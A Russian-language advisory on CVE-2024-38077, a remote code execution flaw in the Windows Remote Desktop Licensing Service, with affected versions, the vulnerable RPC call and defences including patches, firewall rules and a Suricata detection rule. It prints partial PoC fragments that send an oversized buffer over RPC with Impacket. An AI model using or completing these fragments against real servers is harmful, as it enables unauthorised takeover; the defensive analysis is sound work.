
Уязвимость BDU:2024-05295 (CVE-2024-38077) Windows
Уязвимость BDU:2024-05295 (CVE-2024-38077) представляет собой критическую ошибку переполнения буфера в куче (heap overflow) в службе Remote Desktop Licensing Service (RDS) операционных систем Windows. Эта уязвимость позволяет удаленному злоумышленнику выполнить произвольный код на целевой системе без аутентификации, что может привести к полному захвату контроля над сервером. Основная причина – некорректная обработка размеров данных при работе с буферами памяти во время обработки RPC-запросов.
Анализ уязвимости
Уровень опасности: 9.8 (КРИТИЧЕСКИЙ)
Вектор атаки: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
-
AV:N (Вектор атаки: Сетевой) – Атака возможна удаленно через сеть
-
AC:L (Сложность атаки: Низкая) – Не требует специальных условий эксплуатации
-
PR:N (Уровень привилегий: Не требуется) – Аутентификация не нужна
-
UI:N (Взаимодействие с пользователем: Не требуется) – Жертва не должна выполнять действий
-
S:U (Область воздействия: Не оказывает влияния на другие системы) – Локальное воздействие
-
C:H (Влияние на конфиденциальность: Высокое) – Полное раскрытие информации
-
I:H (Влияние на целостность: Высокое) – Полная компрометация данных
-
A:H (Влияние на доступность: Высокое) – Полный отказ службы
Условия эксплуатации
-
Сетевой доступ к порту 135/TCP (RPC Endpoint Mapper) и динамическим портам RPC (49152-65535)
-
Запущенная служба Remote Desktop Licensing (TermServLicensing)
-
Уязвимая версия ОС.
-
Отсутствие патчей – не установлено обновление MS от августа 2024 года
-
Открытый RPC-интерфейс – не защищен брандмауэром или сегментацией сети
Уязвимые версии ОС
- Windows Server 2008 R2 SP1 64-bit
- Windows Server 2008 SP2 32-bit
- Windows Server 2008 SP2 64-bit
- Windows Server 2012
- Windows Server 2012 R2
- Windows Server 2016
- Windows Server 2008 SP2 Server Core installation 64-bit
- Windows Server 2008 SP2 Server Core installation 32-bit
- Windows Server 2012 R2 Server Core installation
- Windows Server 2016 Server Core installation
- Windows Server 2008 R2 SP1 Server Core installation 64-bit
- Windows Server 2012 Server Core installation
- Windows Server 2019
- Windows Server 2019 Server Core installation
- Windows Server 2022
- Windows Server 2022 Server Core installation
- Windows Server 2022 23H2 Edition Server Core installation
Технический механизм уязвимости
Уязвимость возникает в функции обработки RPC-вызова TLSRpcRequestTermServCert
(opnum 34). При обработке структуры TLSHYDRACERTREQUEST
происходит некорректная проверка размера поля cbEncryptedHwid
, что позволяет передать данные, превышающие размер выделенного буфера.
Анализ эксплоита (poc.py)
Рассмотрим ключевые компоненты эксплоита для понимания работы вектора атаки с использованием уязвимости CVE-2024-38077:
1. Установка RPC-соединения
rpctransport = transport.DCERPCTransportFactory(f"ncacn_np:{args.target}[\\termservice]") rpctransport.set_credentials(args.username, args.password, None) dce = rpctransport.get_dce_rpc() dce.connect()
Используется библиотека Impacket для работы с RPC через именованный канал \termservice
.
2. Формирование вредоносного запроса
class TLSHYDRACERTREQUEST(NDRSTRUCT): structure = ( ("dwHydraVersion", DWORD), ("cbEncryptedHwid", DWORD), # Устанавливается большое значение ("pbEncryptedHwid", PBYTE), # Указатель на переполняющие данные # ... другие поля ... )
3. Вызов уязвимой функции
malicious_request = TLSHYDRACERTREQUEST() malicious_request["cbEncryptedHwid"] = 10000 # Значение, вызывающее переполнение malicious_request["pbEncryptedHwid"] = b"A" * 10000 # Данные для переполнения dce.call(TLSRpcRequestTermServCert.opnum, { "phContext": ctx_handle, "pbRequest": malicious_request, # ... параметры ... })
4. Эксплуатация переполнения
Эксплоит использует технику "heap spraying" для размещения шеллкода и манипулирования указателями в куче, что приводит к выполнению произвольного кода.
Способы защиты
1. Установка обновлений
Установить обновления от Microsoft.
2. Сегментация сети
-
Ограничить доступ к портам 135/TCP и динамическим RPC-портам (49152-65535)
-
Разрешить подключения только с контроллеров домена и административных рабочих станций
# Пример правила брандмауэра Windows New-NetFirewallRule -DisplayName "Block RPC Licensing" ` -Direction Inbound -Protocol TCP ` -LocalPort 135,49152-65535 -Action Block
3. Отключение ненужных служб
Если служба не используется:
Stop-Service -Name "TermServLicensing" -Force Set-Service -Name "TermServLicensing" -StartupType Disabled
4. Правила для IDS/IPS
Для Suricata/Snort:
alert tcp any any -> $HOME_NET [135,49152:65535] ( msg: "CVE-2024-38077 RDS Licensing Exploit Attempt"; flow: to_server, established; content: "|22 00 00 00|"; # opnum 34 в little-endian content: "|00 00 00 00 00 00 00 00|"; # Контекстный хэндл distance: 0; within: 20; metadata: cve 2024-38077; sid: 202438077; rev: 1; )
5. Контроль привилегий
Запуск службы под учетной записью с ограниченными правами:
sc.exe config TermServLicensing obj= "NT AUTHORITY\LocalService"
6. Детектирование аномалий
Мониторинг журналов Windows на предмет:
-
Частых сбоев службы TermServLicensing
-
Попыток доступа к RPC-интерфейсу с неавторизованных IP
Get-WinEvent -LogName "Application" | Where-Object { $_.ProviderName -eq "TermServLicensing" }
Заключение
CVE-2024-38077 представляет экстремальную опасность из-за:
-
Удаленного исполнения кода без аутентификации
-
Простоты эксплуатации (публичный PoC)
-
Широкой распространенности уязвимых систем
Основной метод защиты – немедленная установка обновлений. Временные меры (отключение службы, сегментация сети) должны применяться только как промежуточное решение. Регулярный аудит RPC-служб и контроль сетевого доступа критически важны для безопасности инфраструктур на базе Windows Server.
